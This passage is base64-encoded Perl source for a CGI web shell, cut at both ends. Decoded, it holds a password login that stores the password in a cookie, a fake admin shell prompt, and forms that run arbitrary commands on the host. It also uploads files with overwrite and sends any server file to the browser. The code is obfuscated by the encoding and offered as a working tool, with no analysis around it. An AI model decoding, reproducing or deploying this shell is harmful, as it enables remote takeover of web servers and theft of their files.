Q0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iIG9uU3VibWl0PSJFbmNvZGVyKCdjJykiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiIGlkPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCgkkQ3VycmVudERpciA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpcik7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgcnVuIGNvbW1hbmQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJ